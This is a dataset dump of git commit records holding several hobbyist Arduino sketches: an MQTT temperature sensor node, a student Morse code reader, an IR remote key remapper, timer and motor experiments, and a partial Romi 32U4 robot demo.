\/\/If we are not a list we do not want you ABORT\n\n \/\/ Compose the VAR header\n *datalen = 2 + TIVar::sizeOfReal(model) * ANALOG_PIN_COUNT;\n TIVar::intToSizeWord(*datalen, &header[0]);\t\/\/ Two bytes for the element count, ANALOG_PIN_COUNT Reals\n \/\/ This sets header[0] and header[1]\n header[2] = 0x04;\t\t\t\t\/\/ RealList (if you're a TI-85. Bleh.)\n header[3] = 0x01;\t\t\t\t\/\/ Name length\n header[4] = 0x41;\t\t\t\t\/\/ \"A\", as per \"standard\" See http:\/\/www.cemetech.net\/forum\/viewtopic.php?p=224739#224739\n header[5] = 0x00;\t\t\t\t\/\/ Zero terminator (remainder of header is ignored)\n *headerlen = 11;\n \n \/\/ Compose the body of the variable\n data[0] = ANALOG_PIN_COUNT;\n data[1] = 0;\n int offset = 2;\n for(int i = 0; i < ANALOG_PIN_COUNT; i++) {\n\tlong value = analogRead(analogPins[i]);\n\t\/\/ Convert the value, get the length of the inserted data or -1 for failure\n\tint rval = TIVar::longToReal8x(value, &data[offset], model);\n\tif (rval < 0) {\n\t\treturn -1;\n\t}\n\toffset += rval;\n }\n for(int i = 0; i < *datalen; i++) {\n Serial.print(data[i], HEX);\n\tSerial.print(\" \");\n }\n Serial.println(\"]]\");\n\n return 0;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/WhackAMole\/whackamole.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"2d5d7648e14410d18bc1bd4655bdfd1d112cc7c5","subject":"Create dragino_sensor-act_mqtt.ino","message":"Create dragino_sensor-act_mqtt.ino","repos":"pumanzor\/iot-redlibre,pumanzor\/iot-redlibre","old_file":"dragino\/dragino_sensor-act_mqtt.ino","new_file":"dragino\/dragino_sensor-act_mqtt.ino","new_contents":"#include <Process.h>\n#include \"MQTTclient.h\"\n#include \"DHT.h\"\n#include <OneWire.h> \n#include <DallasTemperature.h>\n\n#define ONE_WIRE_BUS_PIN 3\nfloat tempC2 = 0;\nfloat tempC3 = 0;\n\nOneWire oneWire(ONE_WIRE_BUS_PIN);\nDallasTemperature sensors(&oneWire);\nDeviceAddress probe01 = {0x28, 0xC7, 0xEB, 0xF0, 0x05, 0x00, 0x00, 0xEA};\nDeviceAddress probe02 = {0x28, 0x82, 0x2F, 0xF1, 0x05, 0x00, 0x00, 0xC6};\n\n#define MQTT_HOST \"190.97.168.236\" \n#define DHTPIN A0 \n\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\nDHT dht(DHTPIN, DHTTYPE);\n\/\/DHT dht2(DHTPIN2, DHTTYPE);\n\n\nchar message_buff[100];\nchar message_buff2[100];\nString id_sensor = \"sensor1\";\nString id_sensor2 = \"sensor2\";\nint led = 4;\n\/\/int led2 = 3 ;\nint led3 = 2; \nunsigned long time;\nfloat t2;\n\nvoid setup() {\n \n Serial.begin(9600);\n Bridge.begin();\n mqtt.begin(MQTT_HOST, 1883);\n dht.begin();\n \/\/dht2.begin();\n sensors.begin();\n sensors.setResolution(probe01, 10);\n sensors.setResolution(probe02, 10);\n pinMode(led, OUTPUT);\n \/\/ pinMode(led2, OUTPUT);\n pinMode(led3, OUTPUT);\n \n mqtt.subscribe(\"test\/uno\", someEvent);\n\n\n}\n\n\/*void printTemperature(DeviceAddress deviceAddress)\n{\n\nfloat tempC = sensors.getTempC(deviceAddress);\n\n if (tempC == -127.00) \n {\n Serial.print(\"Error getting temperature \");\n } \n else\n {\n Serial.print(\"C: \");\n Serial.print(tempC);\n Serial.print(\" F: \");\n Serial.print(DallasTemperature::toFahrenheit(tempC));\n }\n}\n\n*\/\n\nvoid loop() {\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n\n \/\/ float h2 = dht2.readHumidity();\n \/\/float t2 = dht2.readTemperature();\n\n sensors.requestTemperatures();\n tempC2 = sensors.getTempC(probe01);\n tempC3 = sensors.getTempC(probe02);\n \n if (millis() > (time + 30000)) {\n time = millis();\n \n String pubString = \"\" + String(t) + \" ,\" + String(h) + \" ,\" + id_sensor + \"\" ;\n pubString.toCharArray(message_buff, pubString.length()+1);\n \n String pubString2= \"\" + String(tempC2) + \" ,\" + String(tempC3) + \" ,\" + id_sensor2 + \"\" ;\n pubString2.toCharArray(message_buff2, pubString2.length()+1); \n \n mqtt.publish(\"test\/temp\",message_buff );\n mqtt.publish(\"test\/temp\",message_buff2 );\n\n }\n else{\n \n mqtt.monitor();\n }\n}\n\nvoid someEvent(const String& topic, const String& subtopic, const String& message) {\n \n \n Serial.print(\"topic: \");\n Serial.println(topic);\n Serial.print(\"message: \"); \n Serial.println(message); \n \n \/\/int integer = 25;\n \/\/ String integer = hola;\n \n mqtt.publish(\"test\/dos\", \"Recibido_Control_D1\");\n if (message == \"s3up\") {\n digitalWrite(led, HIGH);\n \n } \/\/else if (message == \"s2up\"){\n \/\/digitalWrite(led2, HIGH);\n \n \/\/} \n else if (message == \"s3down\"){\n digitalWrite(led, LOW);\n \n } \/\/else if (message == \"s2down\"){\n \/\/digitalWrite(led2, LOW);\n \n \/\/ } \n else if (message == \"s21up\"){\n digitalWrite(led3, HIGH);\n \n } else if (message == \"s21down\"){\n digitalWrite(led3, LOW);\n \n } \n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dragino\/dragino_sensor-act_mqtt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1ddbc0384117f5c81f8823fc06e69bc9bcff5ed2","subject":"created students dir, added example morse code reader to students\/lesson-2","message":"created students dir, added example morse code reader to students\/lesson-2\n","repos":"sbma44\/arduino_class","old_file":"students\/lesson-2\/chartoff_morse_code.ino","new_file":"students\/lesson-2\/chartoff_morse_code.ino","new_contents":"int buttonPin = 4;\n\nint ledPin_R = 13;\nint ledPin_G = 12;\nint ledPin_B = 11;\nint t1 = 0;\nint t2 = 0;\nString message = \"\";\n\nint currentPinMode = 2;\nint pressLag = 0;\n\n\/* debounce variables *\/\nint buttonState; \/\/ the current reading from the input pin\nint lastButtonState = LOW; \/\/ the previous reading from the input pin\n\/\/ the following variables are long's because the time, measured in miliseconds,\n\/\/ will quickly become a bigger number than can be stored in an int.\nlong lastDebounceTime = 0; \/\/ the last time the output pin was toggled\nlong debounceDelay = 50; \/\/ the debounce time; increase if the output flickers\n\n\nvoid setup() {\n \/\/ set pin 4 for input, pin 11-13 for output\n Serial.begin(9600);\n pinMode(buttonPin, INPUT);\n pinMode(ledPin_R, OUTPUT);\n pinMode(ledPin_G, OUTPUT);\n pinMode(ledPin_B, OUTPUT);\n\n \/\/ turn off all those LEDs by setting them HIGH \n digitalWrite(ledPin_R, HIGH);\n digitalWrite(ledPin_G, HIGH);\n digitalWrite(ledPin_B, HIGH);\n}\n\nvoid loop() {\n \/\/ read input\n int reading = digitalRead(buttonPin);\n\n\/\/ If the switch changed, due to noise or pressing:\n if (reading != lastButtonState) {\n \/\/ reset the debouncing timer\n lastDebounceTime = millis();\n } \n \n \/\/ only execute this code if the button has held steady for `debounceDelay` milliseconds\n if ((millis() - lastDebounceTime) > debounceDelay) {\n \/\/ whatever the reading is at, it's been there for longer\n \/\/ than the debounce delay, so take it as the actual current state:\n\n \/\/ if the button state has changed:\n if (reading != buttonState) {\n buttonState = reading;\n if (buttonState == LOW) {\n \/\/OK, now that everything is debounced, we know that the button has really been pressed\n \/\/when button is pressed, record current time in t1\n t1 = millis();\n }\n \n if (buttonState == HIGH){\n \/\/when button is released, record current time in t2. t2-t1 = the time the button was depressed for\n t2 = millis();\n if( (t2 - t1) <= 300 ){\n \/\/this is the morse code part, define a press under 300 ms as \"short\" (could fiddle w\/ this, or find actual\n \/\/military best practices, this decision was pretty arbitrary, based on trial and error)\n message += '.';\n }\n \n else if( (t2 - t1) > 300){\n \/\/otherwise, if button is depressed more than 300 ms, record it as \"long\"\n message += '-';\n }\n \/\/print the current morse code message to Serial (Tools > Serial Monitor to view this output)\n Serial.println(message)\n \n if( (contains(message,\"...---...\")) == 1){\n \/\/every loop, check the message to see if it contains 'SOS' in morse code, any\n \/\/where within the message (see below for the contains() method\n \/\/If it does, turn the led to red\n currentPinMode = 0;\n Serial.println(currentPinMode);\n }\n\n }\n }\n }\n \n switch (currentPinMode) {\n case 0: \/\/ red\n digitalWrite(ledPin_R, LOW);\n digitalWrite(ledPin_G, HIGH);\n digitalWrite(ledPin_B, HIGH);\n break;\n \n case 1: \/\/ green \n digitalWrite(ledPin_R, HIGH);\n digitalWrite(ledPin_G, LOW);\n digitalWrite(ledPin_B, HIGH);\n break;\n \n case 2: \/\/ blue\n digitalWrite(ledPin_R, HIGH);\n digitalWrite(ledPin_G, HIGH);\n digitalWrite(ledPin_B, LOW);\n break; \n }\n \n \/\/ save the reading. Next time through the loop,\n \/\/ it'll be the lastButtonState:\n lastButtonState = reading;\n}\n\n\n\nbool contains(String s, String search) {\n \/\/a bit of a wonky method, the `substring()` method needs to know exactly where to look for\n \/\/the substring. So, this loop iterates through the whole message, looking at chunks of characters as long as\n \/\/the substring (in this case, \"...---...\"), and seeing if there's a match\n int max = s.length() - search.length();\n\n for (int i = 0; i <= max; i++) {\n if (s.substring(i) == search) return true; \/\/ or i\n }\n\n return false; \/\/or -1\n} ","old_contents":"","returncode":1,"stderr":"error: pathspec 'students\/lesson-2\/chartoff_morse_code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d998f5b84ef2ec11cfaf23bbb200b6e11f873ec9","subject":"Addind first test without usb shield","message":"Addind first test without usb shield\n","repos":"NoobLad\/NerfKeyboardRemapper","old_file":"main.ino","new_file":"main.ino","new_contents":"#include <IRremote.h>\n\nint RECV_PIN = 2;\nIRrecv irrecv(RECV_PIN);\ndecode_results results;\nint keys[21] = {0x5D, 0x9D, 0x1D, 0xDD, 0xFD, 0x3D, 0x1F, 0x57, 0x6F, 0x97, 0x67, 0x4F, 0xCF, 0xE7, 0x85, 0xEF, 0xC7, 0xA5, 0xBD, 0xB5, 0xAD};\nint to[21] = {0x1A, 0x14, 0x04, 0x1B, 0x16, 0x1D, 0x06, 0x07, 0x08, 0x19, 0x09, 0x15, 0x05, 0x0A, 0x17, 0x11, 0x0B, 0x1C, 0x36, 0x0D, 0x18};\n\nvoid setup()\n{\n Serial.begin(9600);\n irrecv.enableIRIn(); \/\/ Start the receiver\n}\n\nvoid loop() {\n if (irrecv.decode(&results)) {\n if (results.value != 0xFFFFFFFF) {\n Serial.println(results.value, HEX);\n Serial.println(getConvertedKey(results.value), HEX);\n }\n irrecv.resume(); \/\/ Receive the next value\n }\n}\n\nint getConvertedKey(int val){\n int value = val & 0x0000FF;\n for(int i = 0; i < 21; i++) {\n if(value == keys[i]) {\n return to[i];\n }\n }\n return 0;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"70eb25d0cdfa49d63bd550cafeee06572bcf614b","subject":"The Example demonstrates how the Arduino Uno board can read a single line from the serialport (ASCII chars) where the line is ended width '\\n' (newLine)","message":"The Example demonstrates how the Arduino Uno board can read a single line from the serialport (ASCII chars) where the line is ended width '\\n' (newLine)\n","repos":"rlangoy\/socLabWeek41","old_file":"arduino_src\/SerialReadLineExample\/SerialReadLineExample.ino","new_file":"arduino_src\/SerialReadLineExample\/SerialReadLineExample.ino","new_contents":"\n#define MAX_RECV_LINE_LENGTH 200\n\nString strIncompleteLine = \"\"; \/\/ a string to hold incoming data\nString strInputLine = \"\"; \/\/ a string to the recieved line\nboolean bStrComplete = false; \/\/ whether the string is complete\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(9600);\n \/\/ reserve MAX_RECV_LENGTH bytes for the inputString:\n strIncompleteLine.reserve(MAX_RECV_LINE_LENGTH);\n strInputLine.reserve(MAX_RECV_LINE_LENGTH); \n}\n\nvoid loop() {\n \/\/ print the string when a newline arrives:\n if (bStrComplete) {\n Serial.print(strInputLine);\n \/\/ clear the string:\n strInputLine = \"\";\n bStrComplete = false;\n }\n}\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ add it to the inputString:\n strIncompleteLine += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n strInputLine=strIncompleteLine;\n bStrComplete = true; \n strIncompleteLine=\"\"; \n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_src\/SerialReadLineExample\/SerialReadLineExample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1ac66a08d6de83c6c1bde32dae0588f218990de7","subject":"New Method For Increased Timing","message":"New Method For Increased Timing\n","repos":"Darren-Mc\/Arduino,Darren-Mc\/Arduino","old_file":"Timer1ShotLib\/Timer1ShotLib\/Timer1ShotLib.ino","new_file":"Timer1ShotLib\/Timer1ShotLib\/Timer1ShotLib.ino","new_contents":"\/\/#include <TimerOne.h>\n#define RESOLUTION 65536\n\nint period = 20000; \/\/ 20 ms\nunsigned int pwmPeriod;\nunsigned char clockSelectBits;\nchar oldSREG;\nvoid resume();\n\nvoid timerSetup(int duty) {\n TCCR1A = 0; \/\/ clear control register A \n TCCR1B = 0; \/\/_BV(WGM13); \/\/ set mode 8: phase and frequency correct pwm, stop the timer\n TCNT1 = 0x00;\n long cycles = (F_CPU \/ 1000000) * period; \/\/ the counter runs backwards after TOP, interrupt is at BOTTOM so divide microseconds by 2\n if(cycles < RESOLUTION) clockSelectBits = _BV(CS10); \/\/ no prescale, full xtal\n else if((cycles >>= 3) < RESOLUTION) clockSelectBits = _BV(CS11); \/\/ prescale by \/8\n else if((cycles >>= 3) < RESOLUTION) clockSelectBits = _BV(CS11) | _BV(CS10); \/\/ prescale by \/64\n else if((cycles >>= 2) < RESOLUTION) clockSelectBits = _BV(CS12); \/\/ prescale by \/256\n else if((cycles >>= 2) < RESOLUTION) clockSelectBits = _BV(CS12) | _BV(CS10); \/\/ prescale by \/1024\n else cycles = RESOLUTION - 1, clockSelectBits = _BV(CS12) | _BV(CS10); \/\/ request was out of bounds, set as maximum\n \n oldSREG = SREG;\t\t\t\t\n cli();\t\t\t\t\t\t\t\/\/ Disable interrupts for 16 bit register access\n ICR1 = 0;\/\/pwmPeriod = cycles; \/\/ ICR1 is TOP in p & f correct pwm mode\n \/\/OCR1A = 0; \/\/ Set TOP to 0. This effectively keeps us from counting becuase the counter just keeps reseting back to 0.\n \/\/ We break out of this by manually setting the TCNT higher than 0, in which case it will count all the way up to MAX and then overflow back to 0 and get locked up again.\n \/\/OCR1B = 512;\n SREG = oldSREG;\n \n TCCR1A |= _BV(COM1A0) | _BV(COM1A1);\/\/ | _BV(WGM10) | _BV(WGM11); \/\/ activates the output pin\n \/\/ OC2B=Set on Match, clear on BOTTOM. Mode 7 Fast PWM.\n \n TCCR1B &= ~(_BV(CS10) | _BV(CS11) | _BV(CS12)); \/\/ Ensure clock mode bits are cleared\n TCCR1B |= _BV(WGM13) | clockSelectBits; \/\/ Set clock mode \/ prescaler\n \n \n DDRB |= _BV(PORTB1); \/\/ sets data direction register for pwm output pin\n \n \/\/DDRD |= _BV(3); \/\/ Set pin to output (Note that OC2B = GPIO port PD3 = Arduino Digital Pin 3)\n \n \/\/unsigned long dutyCycle = pwmPeriod;\n \n \/\/dutyCycle *= duty;\n \/\/dutyCycle >>= 10;\n \n \/\/Serial.println(dutyCycle);\n \n oldSREG = SREG;\n cli();\n OCR1B = duty;\/\/dutyCycle;\n SREG = oldSREG;\n \n TCCR1B |= clockSelectBits;\t\t\/\/ Lex - make sure the clock is running. We don't want to restart the count, in case we are starting the second WGM\n\t\t\t\t\t\/\/ and the first one is in the middle of a cycle\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(38400);\n timerSetup(512);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \/\/long t1 = micros();\n \/\/while(TCNT1>0){}\n \/\/long t2 = micros();\n long t1 = micros();\n TCNT1=6000;\n while(TCNT1>0);\n \/\/delay(20);\n long t2 = micros();\n Serial.println(t2-t1);\n delay(100);\n}\n\nvoid isr() {\n Serial.println(millis());\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Timer1ShotLib\/Timer1ShotLib\/Timer1ShotLib.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b8980f29f28407a6fb1abf4d6d0469e2894dabfb","subject":"Create forwardbackward.ino","message":"Create forwardbackward.ino","repos":"sagargarg\/barbot","old_file":"motor\/forwardbackward.ino","new_file":"motor\/forwardbackward.ino","new_contents":"int motorPin = 9;\nvoid setup() {\n pinMode(motorPin, OUTPUT);\n pinMode(2, OUTPUT);\n pinMode(3, OUTPUT);\n}\n \nvoid loop() {\n openCage();\n closeCage();\n}\n\n\/\/opens cage to deliver drink\nvoid openCage() {\n digitalWrite(motorPin, LOW);\n digitalWrite(2, LOW); \/\/ set leg 1 of the H-bridge low\n digitalWrite(3, HIGH);\n delay(1500);\n}\n\n\/\/closes cage after delivery\nvoid closeCage() {\n digitalWrite(motorPin, LOW);\n digitalWrite(3, LOW); \/\/ set leg 1 of the H-bridge low\n digitalWrite(2, HIGH);\n delay(1500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'motor\/forwardbackward.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1a59a7f4fdfc5c211a59b2f3de97407ef572ad0c","subject":"Added a Demo program for the Romi, mostly copied from the Zumo 32U4 demo program.","message":"Added a Demo program for the Romi, mostly copied from the Zumo 32U4 demo program.\n","repos":"pololu\/romi-32u4-arduino-library,pololu\/romi-32u4-arduino-library,pololu\/romi-32u4-arduino-library","old_file":"examples\/Demo\/Demo.ino","new_file":"examples\/Demo\/Demo.ino","new_contents":"\/* This demo program shows many features of the Romi 32U4.\n\nIt uses the buttons, LCD, and buzzer to provide a user interface.\nIt presents a menu to the user that lets the user select from\nseveral different demos.\n\nTo use this demo program, you will need to have the LCD connected\nto the Romi 32U4. If you cannot see any text on the LCD,\ntry rotating the contrast potentiometer. *\/\n\n#include <Wire.h>\n#include <Romi32U4.h>\n\nRomi32U4LCD lcd;\nRomi32U4Buzzer buzzer;\nRomi32U4ButtonA buttonA;\nRomi32U4ButtonB buttonB;\nRomi32U4ButtonC buttonC;\nLSM6 imu;\nLIS3MDL mag;\nRomi32U4Motors motors;\nRomi32U4Encoders encoders;\n\nchar buttonMonitor();\n\nclass Menu\n{\npublic:\n struct Item\n {\n const char * name;\n void (* action)();\n };\n\n Menu(Item * items, uint8_t itemCount)\n {\n this->items = items;\n this->itemCount = itemCount;\n lcdItemIndex = 0;\n }\n\n void lcdUpdate(uint8_t index)\n {\n lcd.clear();\n lcd.print(items[index].name);\n lcd.gotoXY(0, 1);\n lcd.print(F(\"\\x7f\" \"A \\xa5\" \"B C\\x7e\"));\n }\n\n void action(uint8_t index)\n {\n items[index].action();\n }\n\n \/\/ Prompts the user to choose one of the menu items,\n \/\/ then runs it, then returns.\n void select()\n {\n lcdUpdate(lcdItemIndex);\n\n while (1)\n {\n switch (buttonMonitor())\n {\n case 'A':\n \/\/ The A button was pressed so decrement the index.\n if (lcdItemIndex == 0)\n {\n lcdItemIndex = itemCount - 1;\n }\n else\n {\n lcdItemIndex--;\n }\n lcdUpdate(lcdItemIndex);\n break;\n\n case 'C':\n \/\/ The C button was pressed so increase the index.\n if (lcdItemIndex >= itemCount - 1)\n {\n lcdItemIndex = 0;\n }\n else\n {\n lcdItemIndex++;\n }\n lcdUpdate(lcdItemIndex);\n break;\n\n case 'B':\n \/\/ The B button was pressed so run the item and return.\n action(lcdItemIndex);\n return;\n }\n }\n }\n\nprivate:\n Item * items;\n uint8_t itemCount;\n uint8_t lcdItemIndex;\n};\n\n\n\/\/ A couple of simple tunes, stored in program space.\nconst char beepBrownout[] PROGMEM = \"<c32<e32#<g32\";\nconst char beepWelcome[] PROGMEM = \">g32>>c32\";\nconst char beepThankYou[] PROGMEM = \">>c32>g32\";\nconst char beepButtonA[] PROGMEM = \"!c32\";\nconst char beepButtonB[] PROGMEM = \"!e32\";\nconst char beepButtonC[] PROGMEM = \"!g32\";\n\n\/\/ Custom characters for the LCD:\n\n\/\/ This character is a back arrow.\nconst char backArrow[] PROGMEM = {\n 0b00000,\n 0b00010,\n 0b00001,\n 0b00101,\n 0b01001,\n 0b11110,\n 0b01000,\n 0b00100,\n};\n\n\/\/ This character is two chevrons pointing up.\nconst char forwardArrows[] PROGMEM = {\n 0b00000,\n 0b00100,\n 0b01010,\n 0b10001,\n 0b00100,\n 0b01010,\n 0b10001,\n 0b00000,\n};\n\n\/\/ This character is two chevrons pointing down.\nconst char reverseArrows[] PROGMEM = {\n 0b00000,\n 0b10001,\n 0b01010,\n 0b00100,\n 0b10001,\n 0b01010,\n 0b00100,\n 0b00000,\n};\n\n\/\/ This character is two solid arrows pointing up.\nconst char forwardArrowsSolid[] PROGMEM = {\n 0b00000,\n 0b00100,\n 0b01110,\n 0b11111,\n 0b00100,\n 0b01110,\n 0b11111,\n 0b00000,\n};\n\n\/\/ This character is two solid arrows pointing down.\nconst char reverseArrowsSolid[] PROGMEM = {\n 0b00000,\n 0b11111,\n 0b01110,\n 0b00100,\n 0b11111,\n 0b01110,\n 0b00100,\n 0b00000,\n};\n\nvoid loadCustomCharacters()\n{\n \/\/ The LCD supports up to 8 custom characters. Each character\n \/\/ has a number between 0 and 7. We assign #7 to be the back\n \/\/ arrow; other characters are loaded by individual demos as\n \/\/ needed.\n\n lcd.loadCustomCharacter(backArrow, 7);\n}\n\n\/\/ Assigns #0-6 to be bar graph characters.\nvoid loadCustomCharactersBarGraph()\n{\n static const char levels[] PROGMEM = {\n 0, 0, 0, 0, 0, 0, 0, 63, 63, 63, 63, 63, 63, 63\n };\n lcd.loadCustomCharacter(levels + 0, 0); \/\/ 1 bar\n lcd.loadCustomCharacter(levels + 1, 1); \/\/ 2 bars\n lcd.loadCustomCharacter(levels + 2, 2); \/\/ 3 bars\n lcd.loadCustomCharacter(levels + 3, 3); \/\/ 4 bars\n lcd.loadCustomCharacter(levels + 4, 4); \/\/ 5 bars\n lcd.loadCustomCharacter(levels + 5, 5); \/\/ 6 bars\n lcd.loadCustomCharacter(levels + 6, 6); \/\/ 7 bars\n}\n\n\/\/ Assigns #0-4 to be arrow symbols.\nvoid loadCustomCharactersMotorDirs()\n{\n lcd.loadCustomCharacter(forwardArrows, 0);\n lcd.loadCustomCharacter(reverseArrows, 1);\n lcd.loadCustomCharacter(forwardArrowsSolid, 2);\n lcd.loadCustomCharacter(reverseArrowsSolid, 3);\n}\n\n\/\/ Clears the LCD and puts [back_arrow]B on the second line\n\/\/ to indicate to the user that the B button goes back.\nvoid displayBackArrow()\n{\n lcd.clear();\n lcd.gotoXY(0,1);\n lcd.print(F(\"\\7B\"));\n lcd.gotoXY(0,0);\n}\n\n\/\/ Blinks all three LEDs in sequence.\nvoid ledDemo()\n{\n displayBackArrow();\n\n uint8_t state = 3;\n static uint16_t lastUpdateTime = millis() - 2000;\n while (buttonMonitor() != 'B')\n {\n if ((uint16_t)(millis() - lastUpdateTime) >= 500)\n {\n lastUpdateTime = millis();\n state = state + 1;\n if (state >= 4) { state = 0; }\n\n switch (state)\n {\n case 0:\n buzzer.play(\"c32\");\n lcd.gotoXY(0, 0);\n lcd.print(F(\"Red \"));\n ledRed(1);\n ledGreen(0);\n ledYellow(0);\n break;\n\n case 1:\n buzzer.play(\"e32\");\n lcd.gotoXY(0, 0);\n lcd.print(F(\"Green\"));\n ledRed(0);\n ledGreen(1);\n ledYellow(0);\n break;\n\n case 2:\n buzzer.play(\"g32\");\n lcd.gotoXY(0, 0);\n lcd.print(F(\"Yellow\"));\n ledRed(0);\n ledGreen(0);\n ledYellow(1);\n break;\n }\n }\n }\n\n ledRed(0);\n ledYellow(0);\n ledGreen(0);\n}\n\nvoid printBar(uint8_t height)\n{\n if (height > 8) { height = 8; }\n static const char barChars[] = {' ', 0, 1, 2, 3, 4, 5, 6, 255};\n lcd.print(barChars[height]);\n}\n\n\/\/ Starts I2C and initializes the inertial sensors.\nvoid initInertialSensors()\n{\n Wire.begin();\n imu.init();\n imu.enableDefault();\n mag.init();\n mag.enableDefault();\n}\n\n\/\/ Given 3 readings for axes x, y, and z, prints the sign\n\/\/ and axis of the largest reading unless it is below the\n\/\/ given threshold.\nvoid printLargestAxis(int16_t x, int16_t y, int16_t z, uint16_t threshold)\n{\n int16_t largest = x;\n char axis = 'X';\n\n if (abs(y) > abs(largest))\n {\n largest = y;\n axis = 'Y';\n }\n if (abs(z) > abs(largest))\n {\n largest = z;\n axis = 'Z';\n }\n\n if (abs(largest) < threshold)\n {\n lcd.print(\" \");\n }\n else\n {\n bool positive = (largest > 0);\n lcd.print(positive ? '+' : '-');\n lcd.print(axis);\n }\n}\n\n\/\/ Print the direction of the largest rotation rate measured\n\/\/ by the gyro and the up direction based on the\n\/\/ accelerometer's measurement of gravitational acceleration\n\/\/ (assuming gravity is the dominant force acting on the\n\/\/ Romi).\nvoid inertialDemo()\n{\n displayBackArrow();\n\n lcd.gotoXY(3, 0);\n lcd.print(F(\"Rot\"));\n lcd.gotoXY(4, 1);\n lcd.print(F(\"Up\"));\n\n while (buttonMonitor() != 'B')\n {\n imu.read();\n\n lcd.gotoXY(6, 0);\n printLargestAxis(imu.g.x, imu.g.y, imu.g.z, 2000);\n lcd.gotoXY(6, 1);\n printLargestAxis(imu.a.x, imu.a.y, imu.a.z, 200);\n }\n}\n\nvoid magnetometerDemo()\n{\n displayBackArrow();\n\n while (buttonMonitor() != 'B')\n {\n mag.read();\n\n char buffer[7];\n\n sprintf(buffer, \"%6d\", mag.m.x);\n lcd.gotoXY(2, 0);\n lcd.print(buffer);\n\n sprintf(buffer, \"%6d\", mag.m.y);\n lcd.gotoXY(2, 1);\n lcd.print(buffer);\n }\n}\n\n\/\/ Provides an interface to test the motors. Holding button A or C\n\/\/ causes the left or right motor to accelerate; releasing the\n\/\/ button causes the motor to decelerate. Tapping the button while\n\/\/ the motor is not running reverses the direction it runs.\n\/\/\n\/\/ If the showEncoders argument is true, encoder counts are\n\/\/ displayed on the first line of the LCD; otherwise, an\n\/\/ instructional message is shown.\nvoid motorDemoHelper(bool showEncoders)\n{\n loadCustomCharactersMotorDirs();\n lcd.clear();\n lcd.gotoXY(1, 1);\n lcd.print(F(\"A \\7B C\"));\n\n int16_t leftSpeed = 0, rightSpeed = 0;\n int8_t leftDir = 1, rightDir = 1;\n uint16_t lastUpdateTime = millis() - 100;\n uint8_t btnCountA = 0, btnCountC = 0, instructCount = 0;\n\n int16_t encCountsLeft = 0, encCountsRight = 0;\n char buf[4];\n\n while (buttonMonitor() != 'B')\n {\n encCountsLeft += encoders.getCountsAndResetLeft();\n if (encCountsLeft < 0) { encCountsLeft += 1000; }\n if (encCountsLeft > 999) { encCountsLeft -= 1000; }\n\n encCountsRight += encoders.getCountsAndResetRight();\n if (encCountsRight < 0) { encCountsRight += 1000; }\n if (encCountsRight > 999) { encCountsRight -= 1000; }\n\n \/\/ Update the LCD and motors every 50 ms.\n if ((uint16_t)(millis() - lastUpdateTime) > 50)\n {\n lastUpdateTime = millis();\n\n lcd.gotoXY(0, 0);\n if (showEncoders)\n {\n sprintf(buf, \"%03d\", encCountsLeft);\n lcd.print(buf);\n lcd.gotoXY(5, 0);\n sprintf(buf, \"%03d\", encCountsRight);\n lcd.print(buf);\n }\n else\n {\n \/\/ Cycle the instructions every 2 seconds.\n if (instructCount == 0)\n {\n lcd.print(\"Hold=run\");\n }\n else if (instructCount == 40)\n {\n lcd.print(\"Tap=flip\");\n }\n if (++instructCount == 80) { instructCount = 0; }\n }\n\n if (buttonA.isPressed())\n {\n if (btnCountA < 4)\n {\n btnCountA++;\n }\n else\n {\n \/\/ Button has been held for more than 200 ms, so\n \/\/ start running the motor.\n leftSpeed += 15;\n }\n }\n else\n {\n if (leftSpeed == 0 && btnCountA > 0 && btnCountA < 4)\n {\n \/\/ Motor isn't running and button was pressed for\n \/\/ 200 ms or less, so flip the motor direction.\n leftDir = -leftDir;\n }\n btnCountA = 0;\n leftSpeed -= 30;\n }\n\n if (buttonC.isPressed())\n {\n if (btnCountC < 4)\n {\n btnCountC++;\n }\n else\n {\n \/\/ Button has been held for more than 200 ms, so\n \/\/ start running the motor.\n rightSpeed += 15;\n }\n }\n else\n {\n if (rightSpeed == 0 && btnCountC > 0 && btnCountC < 4)\n {\n \/\/ Motor isn't running and button was pressed for\n \/\/ 200 ms or less, so flip the motor direction.\n rightDir = -rightDir;\n }\n btnCountC = 0;\n rightSpeed -= 30;\n }\n\n leftSpeed = constrain(leftSpeed, 0, 400);\n rightSpeed = constrain(rightSpeed, 0, 400);\n\n motors.setSpeeds(leftSpeed * leftDir, rightSpeed * rightDir);\n\n \/\/ Display arrows pointing the appropriate direction\n \/\/ (solid if the motor is running, chevrons if not).\n lcd.gotoXY(0, 1);\n if (leftSpeed == 0)\n {\n lcd.print((leftDir > 0) ? '\\0' : '\\1');\n }\n else\n {\n lcd.print((leftDir > 0) ? '\\2' : '\\3');\n }\n lcd.gotoXY(7, 1);\n if (rightSpeed == 0)\n {\n lcd.print((rightDir > 0) ? '\\0' : '\\1');\n }\n else\n {\n lcd.print((rightDir > 0) ? '\\2' : '\\3');\n }\n }\n }\n motors.setSpeeds(0, 0);\n}\n\n\n\/\/ Motor demo with instructions.\nvoid motorDemo()\n{\n 